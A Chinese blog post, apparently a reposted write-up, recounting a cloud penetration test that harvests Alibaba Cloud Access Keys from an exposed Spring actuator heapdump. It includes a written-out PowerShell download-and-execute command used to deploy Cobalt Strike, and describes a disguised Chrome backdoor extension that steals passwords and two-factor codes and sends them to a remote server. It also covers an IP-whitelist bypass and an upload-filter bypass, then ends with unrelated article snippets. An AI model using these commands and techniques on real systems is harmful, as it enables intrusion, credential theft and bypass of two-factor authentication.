记一次实战云渗透总结

点击星标,即时接收最新推文

fd88074877410b7ea0b202db660cb60b.png

云渗透思路

所谓的云渗透通常指SaaS或PaaS渗透,即将服务器端的某些服务搭建在云服务器上,源代码的开发、升级、维护等工作都由提供方进行。从原理上看,云渗透思路与传统渗透思路相差无几。站点必须由底层环境及源代码共同构建,因此会存在常规的Web漏洞(如SQL注入、弱口令、文件上传漏洞、网站备份泄露等)。但由于服务器上云或其部分功能模块被部署在云上,站点也可能对云服务器进行请求,所以除了常规的Web漏洞,新技术也会带来新的风险(如Access Key泄露利用、配置不当利用等问题)。

首先,需要了解何为Access Key。Access Key由云服务商颁发给云服务器的所有者,Access Key即所有者身份的证明。Access Key通常分为Access Key ID和Access Key Secret两个部分。当调用云服务器的某些API接口、某些服务或某些功能点时,可能需要使用Access Key对身份进行认证。因此,如果能获取对应云服务器的Access Key,就可以通过对应的Access Key完成身份认证,进而接管该云服务器。当然,每个云服务商为Access Key分配的权限不同,Access Key泄露可能造成的危害也不同。例如,阿里云为云服务器提供的Access Key是root用户,权限较大,能直接控制ECS;而AWS为云服务器提供的Access Key有限制,有些则是S3或者EC2,但并不一定都拥有上传或修改的权限。除此之外,对于常规渗透泄露出来的Access Key,可以通过特殊手段利用其获取目标镜像,还原VMware虚拟机或通过DiskGinus查看文件。

因此,在进行云环境渗透时,与常规渗透不同,攻击者将更关注是否存在敏感信息、Access Key泄露的情况,其他的渗透测试流程不变。首先,进行资产信息搜集(包括子域名查找、端口扫描、目录扫描、指纹识别等),在查找的过程中留意Access Key等密钥,它可能会在APK文件、GitHub仓库、Web页面、API接口、JavaScript文件、常规配置文件中出现,也可以使用FOFA、ZoomEye、Hunter等网络空间搜索引擎对Access Key等关键词进行查找。如果是AWS的云产品,还可以通过DNS缓存、buckets.grayhatwarfare查找。

当测试者发现Access Key后,通过行云管家、OSS Browser、API Explorer、AWS CLI等云服务器管理工具进行连接。

实战云渗透

1. RDS

关系数据库服务(Relational Database Service,RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。

RDS采用即开即用的方式,兼容MySQL、SQL Server两种关系数据库,并提供数据库在线扩容、备份回滚、性能监测及分析等功能。

RDS与云服务器搭配使用,可使I/O性能倍增,内网互通,避免网络瓶颈。

2. OSS

对象存储服务(Object Storage Service,OSS)是阿里云对外提供的海量、安全和高可靠的云存储服务。

3. ECS

云服务器(Elastic Compute Service,ECS)与传统数据中心机房的服务器相似,不同的是,云服务器部署在云端,由云服务商直接提供底层硬件环境,不需要人为采购设备。

4. 安全组

安全组是一种虚拟防火墙,具备状态检测和数据包过滤功能,用于在云端划分安全域。同一安全组内的ECS实例之间默认内网互通。

1. Spring敏感信息泄露

收集信息时,发现目标对应的三级子域名存在spring的接口未授权访问,在 /actuator/env下发现多个密码,且其中存在阿里云的Access Key,故尝试调用heapdump接口,下载内存,提取密文,如图所示。

caf04f59321d94e81ff79e6423820734.png

下载成功后,使用MemoryAnalyzer搜索转存下来的内存文件,获取阿里云的 Access Key密文,如图所示。

f8be81cf633e9e0095fd8d4519f9e526.png

f10ceacbaea83c4dfc2633ec2ea8f927.png

在dump的内存文件中还获取了一些内网的Redis和MySQL明文密码,后续如有需要可以使用,如图所示。

846cade1d3c892935b422debf1ac141c.png

2. 阿里云 Access Key命令执行

拿到阿里云的Access Key后,先查看是否存在云服务器,再查看是否存在存储桶。如图所示,这个Access Key对应的主机有十几台。

08c77c73ef639d7c411d137c24a99898.png

将所有存在的主机导出到文本中,并挑选重要的主机为测试目标,最后发现当前的 Access Key分配云服务器应该是测试网络的机器。因为存在多台测试服务器,所以并没有直接部署目标生产网应用服务相关的主机。但目标中有一台主机名为“xxx-跳板机”,名字极其敏感,我们判断它是目标管理人员对生成网系统进行管理的服务器,如图所示。

38ff231af3e070064e348ccbe6e9b101.png

于是打算先从这台主机开始测试,使用Cobalt Strike进行上线探测,命令如下:

Python AKSKTools.py –ak AccesskeyID –sk AccessKeySecret –r City –t RunBatScript –C "powershell.exe –nop –w hidden –c \"IEX((new-object new.webclient).downloadstring ('url'))\""

命令的截图如图所示。

c8db68fc6b209a8dc0d63ecd860aa648.png

最后成功上线,如图所示。

e8bd2e7cf8331d1ec0fb8b58449c762b.png

如图所示,该机器中存在多个管理账号,和最初的猜想一致。

52bbb7982e4cbf5e0f6a3c7d8a14f2e9.png

对该主机进行信息收集,获取到与账号对应的明文密码,还获取了部分信息:3389端口对外开放,当前用户只有admin1有进程;发现admin1使用Chrome打开了目标后台,并且浏览器记录了后台账号和密码(密码是123456),但后台有谷歌验证码(即双因素认证),所以即便有密码也无法登录,如图所示。

ea9e9171c22c0fb7236757e3ba72bdbb.png

后台是另一个域名,后台服务器也不在当前Key中,公网可以访问。在公网登录时,提示IP地址不在白名单内,不过修改XFF即可绕过,如图所示。

989422aaf5c239575ea4ed9120294882.png

019c7adeb45c5f5cb7d05b04b776b554.png

3. 使用阿里云Access Key开放防火墙

使用RDP协议远程连接3389端口,以查看浏览器记录和其他可能保存的密码,但是连接失败,原因大概率是配置了防火墙,并且只允许特定的出口IP地址访问此台服务器的3389端口(如图所示),所以弱口令问题泛滥。

a4b8c8c47e3d76670e2bbb7cd6c2bddd.png

收集特定的出口IP地址,并添加一条防火墙规则,让3389端口对跳板机开放,如图所示。

62abf4fa65ca595f0d9da76e53c63f02.png

使用完成后删除对应规则,如图所示。

c1c888a6bdaea2010175e7d2290e5be6.png

4. 编写Chrome后门插件,获取验证码

关键问题仍然在于需要获取谷歌验证码。可以利用谷歌验证码在一分钟内有效的特性,写一个Chrome后门插件,并将其伪装成最常用的百度统计或谷歌插件,利用它监控表单,窃取验证码,如图所示。

65832621f903868759c8b90a818cdb31.png

当事件被触发时,就将账号密码和验证码发送到远程服务器上,服务器等待接收即可。在目标电脑中打开开发者模式,载入刚刚写好的Chrome后门插件,如图所示。

aee8ca30fe1ea7e7a9f7c69b0bf3461a.png

前台登录测试,不管是单击“登录”按钮还是按回车键登录,都能获取三个值的信息,如图所示。

61384264d2550e737643dce89d6622df.png

隐藏对应插件,如图所示。

d5e0e0e41a74f83b3e5c3469c84698b9.png

修改插件,将这三个值发送到服务器上,然后存储到文件中,如图所示。

2de7e615f3ed5582b2ce56a043ba097b.png

编写PHP代码,并用其接收对应的参数,代码如图所示。

679f3ce7a785212d7e582db7730dad22.png

info.txt是日志记录,login.txt是方便程序调用的文件,如图所示。

6ca5f5c5d2082018656da5fba55036f0.png

5. 使用Selenium维持会话

后门配置成功后,次日便有账号进行登录操作。但由于其权限较低,且登录时间不固定,所以错过了登录后台的机会。

于是使用Selenium进行会话维持。之所以使用Selenium,是因为站点登录发送的数据包每次都会有随机的token和sign验证,无法重放,计算sign的JavaScript又使用了不可逆的JavaScript加密,所以直接使用Selenium最方便。当login.txt中出现新的账号和密码时,使用Selenium打开浏览器,并模拟用户输入账号、密码和谷歌验证码进行登录。若登录成功,则3秒刷新一次以维持权限,并导出Cookie发送邮件通知;否则退出浏览器,如图所示。

d44d8762ad4b0a74634c364a575d8470.png

通过努力又获得其他的账号,但权限较低,且进行增删改操作时都要二次验证。不过,既然需要如此频繁地使用验证码,那么不妨大胆猜测其他站点或资源也会频繁使用验证码。于是再次修改Chrome后门,劫持所有单击“登录”按钮或按回车键提交的表单数据,遍历数据寻找六位数的值来获取当前用户输入的谷歌验证码;再利用验证码添加用户。通过该后门,获取了用户账号的使用权限,并通过脚本自动添加了新的管理员,如图所示。

86ea44369bf4d4b81b23f4568a800b7e.png

6. 上传绕过的思路

针对已有的账号权限对站点进行简单测试,在发布公告处存在“任意文件上传+黑名单”过滤,检测到后缀为php则删除,如图所示。

上传           结果
     1.php     >      1.
    1.pphp     >      1.p
  1.pphphphpp  >     1.php

001bc13b79aad992eb8e946de6906769.png

7. 结束

测试者使用了很多技巧,如Spring读取星号密文、阿里云Access Key操作(读取示例、执行示例命令、添加策略)、谷歌插件编写、Selenium的使用。在渗透测试的过程中,技法永远不会那么单调

—  实验室旗下直播培训课程  —

c46cd0a11f835498b2f839200fd81b2f.png

5b2e2fe61ecafea28b7172fcae3bcebc.jpeg

e5f0e7a431ffc1ee41f9939e2c712cfa.jpeg8e234c69e1541e11c473c0cd673007e7.png

4db69ee6d5ce37c8ce71957cfdbb5a79.png

3cf92b0cc66a465b596213964d02764d.jpeg

94c01bfd912597df53b15c4948c04bff.jpeg

3847ef8daa5349a0cbabffd89b7e48c3.jpeg

79c387c3e4f1524ac0a1cc08a2298e77.png

和20000+位同学加入MS08067一起学习

607fc68102953f4cfb65b2d8a51c354a.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/298269.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

竞赛练一练 第24期:NOC大赛每日一练,scratch题目刷题第3天,包含答案解析

023年NOC大赛创客智慧编程赛项图形化复赛模拟题一,包含答案解析 本次题目来源:NOC 大赛创客智慧编程赛项图形化复赛模拟题(一) 第一题: 制作一个生日贺卡小程序. 1.点击绿旗后蛋糕出现在 (0,-80) 的位置,大小为 100,造型为 cake-b2.当碰到鼠标指针时,将造型切换为 cak…

MyBatis 源码分析(四):反射模块

前言 上一篇我们了解了Mybatis解析器模块,MyBatis 源码分析(三):解析器模块 本篇我们来了解反射模块。相比 parsing 包来说,reflection 包的代码量大概是 2-3 倍。当然,不要慌,都是比较简单的代…

CAN通信的基本原理与实现方法

一. CAN协议概念 1.1 CAN 协议简介 CAN 是控制器局域网络 (Controller Area Network) 的简称,它是由研发和生产汽车电子产品著称的德国 BOSCH 公司开发的,并最终成为国际标准(ISO11519以及ISO11898),是国际上应用最广泛的现场总线之一。差异点如下&…

Linux系统安全及应用

目录 一、账号安全控制 1. 系统账号清理 1.1 将用户设置为无法登录 1.2 锁定用户 1.3 删除用户 1.4 锁定配置文件 2. 密码安全控制 2.1 设置密码规则 3. 命令历史 4. 切换用户 4.1 su和su - 4.2 限制使用su命令的用户 5. PAM安全认证 5.1 概述 5.2 pam相关…

通信触发流程

该示例方案主要介绍如何通过建立的Modbus或TCP通信来实现触发方案、协议解析、发送事件和以及响应配置等功能。 需求:使用Modbus通信触发指定流程运行。 搭建思路:在接收事件中使用协议组装,比较规则选择上升沿,当接收到的值从其…

JavaWeb——新闻管理系统(Jsp+Servlet)之jsp新闻查询

java-ee项目结构设计 1.dao:对数据库的访问,实现了增删改查 2.entity:定义了新闻、评论、用户三个实体,并设置对应实体的属性 3.filter:过滤器,设置字符编码都为utf8,防止乱码出现 4.service:业务逻辑处理 5.servlet:处…

软件测试|深入解析Docker Run命令:创建和启动容器的完全指南

简介 Docker是一种流行的容器化平台,用于构建、分发和运行应用程序。其中一个最基本且重要的Docker命令是docker run,用于创建和启动容器。本文将详细解析docker run命令的用途、参数和示例,帮助您全面掌握创建和启动容器的过程。 docker r…

前端面试题-nodejs

1.什么是nodejs,它与传统的网页服务器有什么不同? 是什么?nodejs是基于Chrome V8引擎的JavaScript运行环境,它可以使JavaScript代码在服务器上运行。 有什么不同?第一,nodejs采用事件驱动、非阻塞式I/O模型…

k8s的网络

k8s的网络 k8s中的通信模式: 1、pod内部之间容器与容器之间的通信 在同一个pod中的容器共享资源和网络,使用同一个网络命名空间,可以直接通信的 2、同一个node节点之内,不同pod之间的通信 每个pod都有一个全局的真实的ip地址…

日志高亮 | notepad

高亮显示日志 日志文件无法清晰看到关键问题所在? 看到一堆日志头疼?高亮日志可以清晰展示出日志的 ERROR级等各种等级的问题, 一下浏览出日志关键所在 tailspin 项目地址: https://githubfast.com/bensadeh/tailspin 使用Rust包管理器cargo安装 安装 - Cargo 手…

【ASP.NET Core 基础知识】--环境设置

一、简介 1.1 .NET Core SDK 概述 .NET Core SDK(Software Development Kit)是Microsoft推出的一个开源跨平台框架,用于开发和部署.NET应用程序。它是.NET Core平台的核心组件之一,为开发者提供了在多个操作系统上构建高性能、可…

《数字图像处理》 第11章 表示和描述 学习笔记附部分例子代码(c++opencv)

表示和描述 0. 前言1. 表示1.1 边界追踪1.2 链码1.3 使用最小周长多边形的多边形近似 2. 边界描绘子2.1 一些简单的描绘子![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/45dddc76217e4fde93a11e2631b2a71a.png#pic_center 500x)2.2 形状数2.3 傅里叶描绘子2.4 统计…

智慧地球(AI•Earth)社区成立一周年啦!独家福利与惊喜彩蛋等你来拿!

原文:智慧地球(AI•Earth)社区成立一周年啦! 智慧地球社区 一周年庆典🎊 独家福利🎁与惊喜彩蛋🎉等你来拿! 智慧地球(AI•Earth)社区自2023年1月11日建立以…

软件测试|Docker Kill/Pause/Unpause命令详细使用指南

简介 Docker是一种流行的容器化平台,提供了各种命令和功能来管理和操作容器。本文将详细介绍Docker中的三个重要命令:kill、pause和unpause。我们将深入了解它们的作用、用法和示例,帮助您更好地理解和使用这些命令。 什么是Docker Kill/Pa…

C++异常处理机制

文章目录 C语言传统的处理错误的方式C异常概念异常的使用自定义异常体系C标准库的异常体系异常的优缺点 正文开始前给大家推荐个网站,前些天发现了一个巨牛的 人工智能学习网站, 通俗易懂,风趣幽默,忍不住分享一下给大家。 点击…

Mysql为什么只能支持2000w左右的数据量?

首先说明一下: MySQL并没有硬性规定只能支持到2000万左右的数据量。 其实,MySQL能够处理的数据量远远超过这个数字。无论是开源社区版还是商业版, MySQL在适当的硬件和配置下,都能够支持非常大的数据集。 通常所说的“MySQL只能…

延迟加载:提升性能的隐形利器

引言 想象一下,你正在玩一款大型电子游戏。如果游戏在启动的时候就加载了所有的关卡、角色和道具,那玩家可能需要等待很长时间才能开始游戏,而且大部分内容可能在游戏的初期都不会被用到。显然,这样的做法既低效又耗时。 而延迟加…

科研学习|论文解读——超准确性反馈:使用眼动追踪来检测阅读过程中的可理解性和兴趣

摘要: 了解用户想要什么信息是信息科学和技术面临的最大挑战。隐式反馈是解决这一挑战的关键,因为它允许信息系统了解用户的需求和偏好。然而,可用的反馈往往是有限的,而且其解释也很困难。为了应对这一挑战,我们提出了…

仿真炫酷烟花+背景音乐-H5代码实现_可直接运行【附完整源码】

文章目录 背景效果实现源码代码解析完整源码下载总结寄语 背景 烟花仿真是一项具有创意和娱乐性质的项目,旨在通过H5技术实现炫酷的烟花效果,并结合背景音乐营造出一个生动、愉悦的视听体验。该项目的目标是通过Web浏览器即时展现精美的烟花效果&#x…

Jackson反序列化的规则 没有无参构造报错问题

com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of java.util.function.Supplier. Jackson反序列化的规则 没有无参构造报错问题 ; 报错如下: com.fasterxml.jackson.databind.exc.InvalidDefinitionExce…